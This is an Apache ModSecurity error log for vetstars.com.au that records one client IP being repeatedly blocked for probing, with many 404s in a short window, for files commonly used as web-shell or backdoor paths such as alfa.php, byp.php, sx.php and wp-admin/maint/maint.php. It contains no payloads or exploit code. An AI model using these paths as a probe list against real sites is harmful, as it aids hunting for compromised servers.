[Wed Feb 04 01:32:42.384212 2026] [:error] [pid 43028:tid 43041] [client 52.243.58.155:29482] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aYIxOlnHWnJD4cJC5DskNAAAAMs"]
[Wed Feb 04 01:32:42.847914 2026] [:error] [pid 42921:tid 42969] [client 52.243.58.155:22067] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aYIxOoblShffGl-01ofK4QAAAEs"]
[Wed Feb 04 01:32:43.786971 2026] [:error] [pid 42920:tid 42945] [client 52.243.58.155:27233] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aYIxOyix3YKltG4EU0nUhgAAABA"]
[Wed Feb 04 01:32:44.578328 2026] [:error] [pid 5229:tid 5241] [client 52.243.58.155:34327] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aYIxPEKmEgmJub93yUpllgAAAYo"]
[Wed Feb 04 01:32:45.196447 2026] [:error] [pid 42922:tid 43001] [client 52.243.58.155:27914] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aYIxPWazX4WPS_dQRkjsvwAAAJA"]
[Wed Feb 04 01:32:45.655031 2026] [:error] [pid 28720:tid 28739] [client 52.243.58.155:27559] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aYIxPWmRXm2bmr_sYiYkywAAARE"]
[Wed Feb 04 01:32:46.282780 2026] [:error] [pid 5229:tid 5239] [client 52.243.58.155:22058] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aYIxPkKmEgmJub93yUplmQAAAYg"]
[Wed Feb 04 01:32:47.688667 2026] [:error] [pid 43028:tid 43047] [client 52.243.58.155:36322] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aYIxP1nHWnJD4cJC5DskOAAAANE"]
[Wed Feb 04 01:32:48.870051 2026] [:error] [pid 43028:tid 43038] [client 52.243.58.155:38056] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aYIxQFnHWnJD4cJC5DskPAAAAMg"]
[Wed Feb 04 01:32:50.094943 2026] [:error] [pid 43028:tid 43040] [client 52.243.58.155:22052] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aYIxQlnHWnJD4cJC5DskQAAAAMo"]
[Wed Feb 04 01:32:51.381270 2026] [:error] [pid 42920:tid 42937] [client 52.243.58.155:22116] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aYIxQyix3YKltG4EU0nUkAAAAAg"]
[Wed Feb 04 01:32:52.390822 2026] [:error] [pid 28720:tid 28738] [client 52.243.58.155:30718] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aYIxRGmRXm2bmr_sYiYk0AAAARA"]
[Wed Feb 04 01:32:52.996440 2026] [:error] [pid 42921:tid 42963] [client 52.243.58.155:1668] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aYIxRIblShffGl-01ofK6wAAAEU"]
[Wed Feb 04 01:32:54.801636 2026] [:error] [pid 42921:tid 42974] [client 52.243.58.155:28311] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aYIxRoblShffGl-01ofK7wAAAFA"]
[Wed Feb 04 01:32:55.564640 2026] [:error] [pid 5148:tid 5167] [client 52.243.58.155:29015] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aYIxR783HCHLtUIbS7JCMAAAAVA"]
[Wed Feb 04 01:32:57.108034 2026] [:error] [pid 28720:tid 28727] [client 52.243.58.155:32151] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aYIxSWmRXm2bmr_sYiYk0wAAAQU"]
[Wed Feb 04 01:32:58.425557 2026] [:error] [pid 5229:tid 5250] [client 52.243.58.155:1792] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aYIxSkKmEgmJub93yUploQAAAZM"]
[Wed Feb 04 01:32:59.830563 2026] [:error] [pid 42922:tid 42987] [client 52.243.58.155:29012] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aYIxS2azX4WPS_dQRkjsyQAAAII"]
[Wed Feb 04 01:33:57.860287 2026] [:error] [pid 43028:tid 43034] [client 52.243.58.155:30305] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aYIxhVnHWnJD4cJC5DsktAAAAMQ"]
[Wed Feb 04 01:33:58.686517 2026] [:error] [pid 28720:tid 28726] [client 52.243.58.155:31140] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aYIxhmmRXm2bmr_sYiYlEwAAAQQ"]
[Wed Feb 04 01:33:59.670603 2026] [:error] [pid 5229:tid 5246] [client 52.243.58.155:24278] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aYIxh0KmEgmJub93yUpl4QAAAY8"]
[Wed Feb 04 01:34:01.171770 2026] [:error] [pid 28720:tid 28741] [client 52.243.58.155:31137] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aYIxiWmRXm2bmr_sYiYlFgAAARM"]
[Wed Feb 04 01:34:03.298784 2026] [:error] [pid 5229:tid 5239] [client 52.243.58.155:31134] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aYIxi0KmEgmJub93yUpl6gAAAYg"]
[Wed Feb 04 01:34:04.776110 2026] [:error] [pid 5148:tid 5175] [client 52.243.58.155:31126] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aYIxjL83HCHLtUIbS7JCfgAAAVg"]
[Wed Feb 04 01:34:05.721057 2026] [:error] [pid 5229:tid 5235] [client 52.243.58.155:24295] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aYIxjUKmEgmJub93yUpl8QAAAYQ"]
[Wed Feb 04 01:34:07.060231 2026] [:error] [pid 28720:tid 28726] [client 52.243.58.155:30722] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aYIxj2mRXm2bmr_sYiYlHgAAAQQ"]
[Wed Feb 04 01:34:07.940027 2026] [:error] [pid 42922:tid 42985] [client 52.243.58.155:33892] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aYIxj2azX4WPS_dQRkjs-wAAAIA"]
[Wed Feb 04 01:34:10.333382 2026] [:error] [pid 5229:tid 5237] [client 52.243.58.155:1405] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aYIxkkKmEgmJub93yUpl_QAAAYY"]
[Wed Feb 04 01:34:12.498838 2026] [:error] [pid 43028:tid 43050] [client 52.243.58.155:35728] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aYIxlFnHWnJD4cJC5DskvwAAANQ"]
[Wed Feb 04 01:34:14.166131 2026] [:error] [pid 5148:tid 5175] [client 52.243.58.155:34710] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aYIxlr83HCHLtUIbS7JChgAAAVg"]
[Wed Feb 04 01:34:15.948773 2026] [:error] [pid 42921:tid 42970] [client 52.243.58.155:1373] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aYIxl4blShffGl-01ofLQQAAAEw"]
[Wed Feb 04 01:34:16.925530 2026] [:error] [pid 42920:tid 42944] [client 52.243.58.155:26732] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aYIxmCix3YKltG4EU0nVBQAAAA8"]
[Wed Feb 04 01:34:18.687052 2026] [:error] [pid 43028:tid 43032] [client 52.243.58.155:34735] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aYIxmlnHWnJD4cJC5Dsk0wAAAMI"]
[Wed Feb 04 01:34:20.408661 2026] [:error] [pid 42920:tid 42949] [client 52.243.58.155:1494] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aYIxnCix3YKltG4EU0nVDAAAABQ"]
[Wed Feb 04 01:34:21.786175 2026] [:error] [pid 5229:tid 5251] [client 52.243.58.155:34257] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aYIxnUKmEgmJub93yUpmAgAAAZQ"]
[Wed Feb 04 01:34:22.266232 2026] [:error] [pid 42921:tid 42974] [client 52.243.58.155:34303] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aYIxnoblShffGl-01ofLRAAAAFA"]
[Wed Feb 04 01:34:22.958541 2026] [:error] [pid 42921:tid 42958] [client 52.243.58.155:33135] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aYIxnoblShffGl-01ofLRQAAAEA"]
[Wed Feb 04 01:34:24.579396 2026] [:error] [pid 28720:tid 28741] [client 52.243.58.155:34294] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aYIxoGmRXm2bmr_sYiYlLgAAARM"]
[Wed Feb 04 01:34:26.248503 2026] [:error] [pid 5229:tid 5232] [client 52.243.58.155:33113] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aYIxokKmEgmJub93yUpmBgAAAYE"]
[Wed Feb 04 01:34:27.557435 2026] [:error] [pid 28720:tid 28725] [client 52.243.58.155:37691] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aYIxo2mRXm2bmr_sYiYlMwAAAQM"]
[Wed Feb 04 01:34:28.596127 2026] [:error] [pid 43028:tid 43046] [client 52.243.58.155:33139] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aYIxpFnHWnJD4cJC5Dsk-wAAANA"]
[Wed Feb 04 01:34:30.076000 2026] [:error] [pid 28720:tid 28734] [client 52.243.58.155:23024] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aYIxpmmRXm2bmr_sYiYlNwAAAQw"]
[Wed Feb 04 01:34:31.958731 2026] [:error] [pid 28720:tid 28736] [client 52.243.58.155:22935] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aYIxp2mRXm2bmr_sYiYlOAAAAQ4"]
[Wed Feb 04 01:34:32.674906 2026] [:error] [pid 5148:tid 5173] [client 52.243.58.155:33112] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aYIxqL83HCHLtUIbS7JCkwAAAVY"]
[Wed Feb 04 01:34:33.546834 2026] [:error] [pid 5148:tid 5156] [client 52.243.58.155:33137] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aYIxqb83HCHLtUIbS7JClQAAAUU"]
[Wed Feb 04 01:34:35.048042 2026] [:error] [pid 5148:tid 5161] [client 52.243.58.155:21701] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aYIxq783HCHLtUIbS7JCmAAAAUo"]
[Wed Feb 04 01:34:35.739332 2026] [:error] [pid 43028:tid 43046] [client 52.243.58.155:37650] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aYIxq1nHWnJD4cJC5DslBgAAANA"]
[Wed Feb 04 01:34:37.926021 2026] [:error] [pid 42922:tid 43009] [client 52.243.58.155:41319] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aYIxrWazX4WPS_dQRkjtFwAAAJg"]
[Wed Feb 04 01:34:39.214462 2026] [:error] [pid 42920:tid 42946] [client 52.243.58.155:37344] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aYIxryix3YKltG4EU0nVFgAAABE"]
[Wed Feb 04 01:34:40.375877 2026] [:error] [pid 42922:tid 42999] [client 52.243.58.155:37659] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aYIxsGazX4WPS_dQRkjtGgAAAI4"]
[Wed Feb 04 01:34:41.140750 2026] [:error] [pid 5148:tid 5151] [client 52.243.58.155:23979] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aYIxsb83HCHLtUIbS7JCogAAAUA"]
[Wed Feb 04 01:34:44.364114 2026] [:error] [pid 5148:tid 5155] [client 52.243.58.155:37653] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aYIxtL83HCHLtUIbS7JCpQAAAUQ"]
[Wed Feb 04 01:34:44.776660 2026] [:error] [pid 28720:tid 28743] [client 52.243.58.155:25628] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aYIxtGmRXm2bmr_sYiYlSgAAARU"]
[Wed Feb 04 01:34:45.249546 2026] [:error] [pid 42920:tid 42947] [client 52.243.58.155:35994] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aYIxtSix3YKltG4EU0nVIwAAABI"]
[Wed Feb 04 01:34:45.752844 2026] [:error] [pid 43028:tid 43040] [client 52.243.58.155:34279] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aYIxtVnHWnJD4cJC5DslCwAAAMo"]
[Wed Feb 04 01:34:47.266251 2026] [:error] [pid 43028:tid 43039] [client 52.243.58.155:41312] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aYIxt1nHWnJD4cJC5DslEAAAAMk"]
